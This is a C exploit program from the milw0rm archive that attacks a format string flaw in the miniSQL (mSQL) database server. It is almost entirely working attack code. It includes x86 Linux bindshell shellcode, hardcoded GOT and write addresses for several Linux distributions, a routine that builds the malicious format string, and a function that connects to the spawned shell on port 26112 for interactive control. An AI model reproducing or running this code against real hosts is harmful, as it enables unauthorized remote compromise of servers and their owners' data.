miniSQL (mSQL) 1.3 - Remote GID Root Exploit



/*           _ ________            _____                        ______

    __ ___ ____       /____.------`    /_______.------.___.----`  ___/____ _______
         _/    \ _   /\   __.  __//   ___/_    ___.  /_\    /_    |     _/
   ___ ._\    . \\  /__  _____/ _    /     \_  |    /__      |   _| slc | _____ _
      - -------\______||--._____\---._______//-|__    //-.___|----._____||
                           / \   /
                                                   \/
[*] mSQL < remote gid root exploit    by lucipher & The Itch (netric)
   ------------------------------------------------------------------------------

[*]  Exploits a format string hole in mSQL.

[*] Some functions are taken from mSQL's sourcecode

    Copyright (c) 2003 Netric Security and lucipher
    All rights reserved.

    THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
    WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
    MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/

#include <stdio.h>    /* required by fatal() */
#include <stdlib.h>
#include <stdarg.h>    /* required by fatal() */
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <string.h>
#include <time.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>    /* required by errno */
#include <getopt.h>    /* required by getopt() */
#include <signal.h>

#define PKT_LEN        (128*1024)
#define ERR_BUF_LEN     200
#define resetError()    bzero(msqlErrMsg,sizeof(msqlErrMsg))
#define chopError()     { char *cp; cp = msqlErrMsg+strlen(msqlErrMsg) -1; \
                                if (*cp == '\n') *cp = 0;}

#define NET_READ(fd,b,l)    read(fd,b,l)
#define NET_WRITE(fd,b,l)    write(fd,b,l)

#define SERVER_GONE_ERROR    "server has gone...\n"
#define UNKNOWN_ERROR        "foo!"  

static char msqlErrMsg[200];
static u_char packetBuf[PKT_LEN + 4];
static int readTimeout;
u_char *packet = NULL;

int netReadPacket(int fd);
int netWritePacket(int fd);

/* bindshell shellcode */
char linux_code[78] = /* binds on port 26112 */
        "\x31\xdb\xf7\xe3\x53\x43\x53"
        "\x6a\x02\x89\xe1\xb0\x66\x52"
        "\x50\xcd\x80\x43\x66\x53\x89"
        "\xe1\x6a\x10\x51\x50\x89\xe1"
        "\x52\x50\xb0\x66\xcd\x80\x89"
        "\xe1\xb3\x04\xb0\x66\xcd\x80"
        "\x43\xb0\x66\xcd\x80\x89\xd9"
        "\x93\xb0\x3f\xcd\x80\x49\x79"
        "\xf9\x52\x68\x6e\x2f\x73\x68"
        "\x68\x2f\x2f\x62\x69\x89\xe3"
        "\x52\x53\x89\xe1\xb0\x0b\xcd"
        "\x80";

static void intToBuf(cp, val)
u_char *cp;
int val;
{
        *cp++ = (unsigned int) (val & 0x000000ff);
        *cp++ = (unsigned int) (val & 0x0000ff00) >> 8;
        *cp++ = (unsigned int) (val & 0x00ff0000) >> 16;
        *cp++ = (unsigned int) (val & 0xff000000) >> 24;
}

static int bufToInt(cp)
u_char *cp;
{
        int val;

        val = 0;
        val = *cp++;
        val += ((int) *cp++) << 8;
        val += ((int) *cp++) << 16;
        val += ((int) *cp++) << 24;
        return (val);
}

int netWritePacket(fd)
int fd;
{
        int len, offset, remain, numBytes;

        len = strlen((char *) packet);
        intToBuf(packetBuf, len);
        offset = 0;
        remain = len + 4;
        while (remain > 0) {
                numBytes = NET_WRITE(fd, packetBuf + offset, remain);
                if (numBytes == -1) {
                        return (-1);
                }
                offset += numBytes;
                remain -= numBytes;
        }
        return (0);
}

int netReadPacket(fd)
int fd;
{
        u_char buf[4];
        int len, remain, offset, numBytes;

        remain = 4;
        offset = 0;
        numBytes = 0;
        readTimeout = 0;
        while (remain > 0) {
                /*
                 ** We can't just set an alarm here as on lots of boxes
                 ** both read and recv are non-interuptable.  So, we
                 ** wait till there something to read before we start
                 ** reading in the server (not the client)
                 */
                if (!readTimeout) {
                        numBytes = NET_READ(fd, buf + offset, remain);
                        if (numBytes < 0 && errno != EINTR) {
                                fprintf(stderr,
                                        "Socket read on %d for length failed : ",
                                        fd);

                                perror("");
                        }
                        if (numBytes <= 0)
                                return (-1);
                }
                if (readTimeout)
                        break;
                remain -= numBytes;
                offset += numBytes;

        }
        len = bufToInt(buf);
        if (len > PKT_LEN) {
                fprintf(stderr, "Packet too large (%d)\n", len);
                return (-1);
        }
        if (len < 0) {
                fprintf(stderr, "Malformed packet\n");
                return (-1);
        }
        remain = len;
        offset = 0;
        while (remain > 0) {
                numBytes = NET_READ(fd, packet + offset, remain);

                if (numBytes <= 0) {
                        return (-1);
                }
                remain -= numBytes;
                offset += numBytes;
        }
        *(packet + len) = 0;
        return (len);
}

int msqlSelectDB(int sock, char *db)
{
        memset(msqlErrMsg, 0x0, sizeof(msqlErrMsg));

        packet = packetBuf+4;

        snprintf(packet, PKT_LEN, "%d:%s\n", 2, db);
        netWritePacket(sock);
        if (netReadPacket(sock) <= 0) {
                strcpy(msqlErrMsg, SERVER_GONE_ERROR);
                return (-1);
        }
        if (atoi(packet) == -1) {
                char *cp;

                cp = (char *) index(packet, ':');
                if (cp) {
                        strcpy(msqlErrMsg, cp + 1);
                        chopError();
                } else {
                        strcpy(msqlErrMsg, UNKNOWN_ERROR);
                }
                return (-1);
        }

        return (0);
}

struct target {
    char *name;            /* target description */
    unsigned long writeaddr;    /* mSQL's errMsg + 18 + 8 address */
    unsigned long smashaddr;    /* strcpy's GOT address */
    unsigned long pops;        /* number of stack pops */
};

/* high and low words indexers */
enum { hi, lo };

/* default values. */
struct target targets[] = {
    /* name                         write      smash       pops */
    { "SlackWare 8.1 - mSQL 3.0p1", 0x80a169a, 0x080751ec, 113 },
    { "Debian 3.0 - mSQL 3.0p1", 134879034, 0x08075224, 113 },
    { "RedHat 8.0 - mSQL 3.0p1", 0x804b778, 0x08074c1c, 115 },
    { "RedHat 8.0 (II) - mSQL 3.0p1", 0x804b778, 0x08074c1c, 116 },
    { NULL, 0x0, 0x0, 0 }
};

void fatal(char *fmt, ...)
{
        char buffer[1024];
        va_list ap;

        va_start(ap, fmt);
        vsnprintf(buffer, sizeof (buffer) - 1, fmt, ap);
        va_end(ap);

        fprintf(stderr, "%s", buffer);
        exit(1);
}

/* resolve a given hostname */
unsigned long tcp_resolv(char *hostname)
{
        struct hostent *he;
        unsigned long addr;
        int n;

        he = gethostbyname(hostname);
        if (he == NULL) {
                n = inet_aton(hostname, (struct in_addr *) addr);
                if (n < 0)
                        fatal("inet_aton: %s\n", strerror(errno));

                return addr;
        }

        return *(unsigned long *) he->h_addr;
}

/* routine to open a tcp/ip connection */
int tcp_connect(char *hostname, int port)
{
        struct sockaddr_in sin;
        int fd, n;

        sin.sin_addr.s_addr = tcp_resolv(hostname);
        sin.sin_family = AF_INET;
        sin.sin_port = htons(port);

        fd = socket(AF_INET, SOCK_STREAM, 6);
        if (fd < 0)
                return -1;

        n = connect(fd, (struct sockaddr *) &sin, sizeof (sin));
        if (n < 0)
                return -1;

        return fd;
}

int msql_login(char *hostname, unsigned short int port)
{
    char buffer[300], *p;
    int fd, n, opt;

    fd = tcp_connect(hostname, port);
    if (fd < 0)
        fatal("[-] couldn't connect to host %s:%u\n", hostname, port);

    setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, (char *) &opt, 4);

    memset(&buffer, 0x0, sizeof(buffer));
    n = read(fd, &buffer, sizeof(buffer) - 1);
    if (n < 0)
        fatal("[-] could not read socket: %s\n", strerror(errno));

    p = (char *)&buffer + 4;
    if (atoi(p) == -1)
        fatal("[-] bad handshake received.\n");
    p++;
    if (*p != ':') p++;
    p++;
    if (*p >= '1' && *p <= '3') {
        /* send buffer size within packet. */
        buffer[0] = (unsigned int) (5UL & 0x000000ff);
        buffer[1] = (unsigned int) (5UL & 0x0000ff00) >> 8;
        buffer[2] = (unsigned int) (5UL & 0x00ff0000) >> 16;
        buffer[3] = (unsigned int) (5UL & 0xff000000) >> 24;
        /* sorta like our login. */
        buffer[4] = 'r';
        buffer[5] = 'o';
        buffer[6] = 'o';
        buffer[7] = 't';
        buffer[8] = '\n';
        buffer[9] = '\0';

        write(fd, buffer, 9);    
    }

    n = read(fd, buffer, sizeof(buffer) - 1);
    if (n < 0)
        fatal("[-] client failed in handshake.\n");

    printf("[+] connected to %s -> %u\n", hostname, port);
    return fd;
}

void msql_selectdb(int fd, char *database)
{
    unsigned char buffer[300];
    unsigned int len;

    len = 117;
    buffer[0] = (unsigned char)(len & 0x000000ff);
    buffer[1] = (unsigned char)(len & 0x0000ff00) >> 8;
    buffer[2] = (unsigned char)(len & 0x00ff0000) >> 16;
    buffer[3] = (unsigned char)(len & 0xff000000) >> 24;

    snprintf(&buffer[4], sizeof(buffer) - 1, "2:%s\n", database);
    len = write(fd, &buffer[0], len);

}

void shell(int fd)
{
    char buf[512];
    fd_set rfds;
    int l;

    write(fd, "id ; uname -a\n", 14);
    while (1) {
        FD_SET(0, &rfds);
        FD_SET(fd, &rfds);
        select(fd + 1, &rfds, NULL, NULL, NULL);

        if (FD_ISSET(0, &rfds)) {
            l = read(0, buf, sizeof (buf));
            if (l <= 0) {
                perror("read user");
                exit(EXIT_FAILURE);
            }
            write(fd, buf, l);
        }

        if (FD_ISSET(fd, &rfds)) {
            l = read(fd, buf, sizeof (buf));
            if (l == 0) {
                fatal("connection closed by foreign host.\n");
            } else if (l < 0) {
                perror("read remote");
                exit (EXIT_FAILURE);
            }
            write(1, buf, l);
        }

    }
}

void usage(void)
{
    fprintf(stderr, "mSQLexploit\n\n");
    fprintf(stderr, "  -l\t\tlist available targets.\n");
    fprintf(stderr, "  -t target\ttarget selection.\n");
    fprintf(stderr, " *** MANUAL ATTACK ***\n");
    fprintf(stderr, "  -s [addr]\tsmash address.\n");
    fprintf(stderr, "  -w [addr]\twrite address.\n");
    fprintf(stderr, "  -p [num]\tnumber of pops.\n");
    exit(1);
}

int main(int argc, char **argv)
{
    struct target manual;
    struct target *target = NULL;
    unsigned short port = 0, addr[2];
    unsigned char split[4];
    char *hostname, buffer[200];
    int fd, opt;

    if (argc <= 1)
        usage();

    memset(&manual, 0x00, sizeof(struct target));
    while ((opt = getopt(argc, argv, "lht:s:w:p:")) != EOF) {
        switch (opt) {
        case 't': /* pre-written target selection */
            target = &targets[atoi(optarg)];
            break;
        case 'l': 
            {
            int i;
            /* iterate through the list of targets and display. */
            for (i = 0; targets[i].name; i++)
                printf("[%d] %s\n", i, targets[i].name);

            exit(1);
            }
        case 'h':
            /* print exploit usage information */
            usage();
            break; /* never reached */
        case 's':
            if (target == NULL)
                target = &manual;

            target->name = "Manual Target";
            target->smashaddr = strtoul(optarg, NULL, 16);
            break;
        case 'w':
            if (target == NULL)
                target = &manual;

            target->name = "Manual Target";
            target->writeaddr = strtoul(optarg, NULL, 16) + 0x1a;
            break;
        case 'p':
            if (target == NULL)
                target = &manual;
            target->name = "Manual Target";
            target->pops = atoi(optarg);
        }
    }

    argc -= optind;
    argv += optind;

    if (argc <= 0) {
        fatal("choose a hostname and optionally a port\n");
    } else if (argc == 1) {
        hostname = argv[0];
    } else {
        hostname = argv[0];
        port = atoi(argv[1]) & 0xff;
    }
    if (target != NULL) {
        if (!strncmp(target->name, "Manual", 6))
            if (!target->smashaddr || !target->writeaddr || 
                !target->pops)
                fatal("exploit requires pop count and "
                "smash, write addresses: use -p and -w and -s "
                "to set them\n");
    } else {
        target = &target[0];
    }

    printf("[+] attacking %s -> %u\n", hostname, (port) ? port : 1114);

    fd = msql_login(hostname, (port) ? port : 1114);

    printf("[+] name %s\n", target->name);
    printf("[+] smash %08lx\n", target->smashaddr);
    printf("[+] write %08lx\n", target->writeaddr);
    printf("[+] Now building string...\n");

    memset(&buffer, 0x0, sizeof(buffer));

    addr[lo] = (target->writeaddr & 0x0000ffff);
    addr[hi] = (target->writeaddr & 0xffff0000) >> 16;

    /* split the address */
    split[0] = (target->smashaddr & 0xff000000) >> 24;
    split[1] = (target->smashaddr & 0x00ff0000) >> 16;
    split[2] = (target->smashaddr & 0x0000ff00) >> 8;
    split[3] = (target->smashaddr & 0x000000ff);

    /* build the format string */
    if (addr[hi] < addr[lo])
        snprintf(buffer, sizeof(buffer),
                "%c%c%c%c"
                "%c%c%c%c"

                "%s"

                "%%.%du%%%ld$hn"
                "%%.%du%%%ld$hn",
            
                split[3] + 2, split[2], split[1], split[0],
                split[3], split[2], split[1], split[0],
                linux_code,
                addr[hi] - 0x68, target->pops, 
                addr[lo] - addr[hi], target->pops + 1);
    else 
        snprintf(buffer, sizeof(buffer),
                                "%c%c%c%c"
                                "%c%c%c%c"

                                "%s"

                                "%%.%du%%%ld$hn"
                                "%%.%du%%%ld$hn",

                                split[3] + 2, split[2], split[1], split[0],
                                split[3], split[2], split[1], split[0],
                                linux_code,
                                addr[lo] - 0x68, target->pops,
                                addr[hi] - addr[lo], target->pops + 1);
    
    printf("[+] Trying to exploit...\n");
    msqlSelectDB(fd, buffer);
    switch (opt = fork()) {
    case 0: 
        msqlSelectDB(fd, buffer);
        exit(1);
    case -1:
        fatal("[-] failed fork()!\n");
    default:
        break;
    }

    printf("[+] sleeping...\n");
    sleep(1);
    opt = tcp_connect(hostname, 26112);
    if (opt < 0)
        fatal("[-] failed! couldn't connect to bindshell!\n");

    printf("[+] shell!\n");
    shell(opt);
    
    return 0;
}


// milw0rm.com [2003-07-25]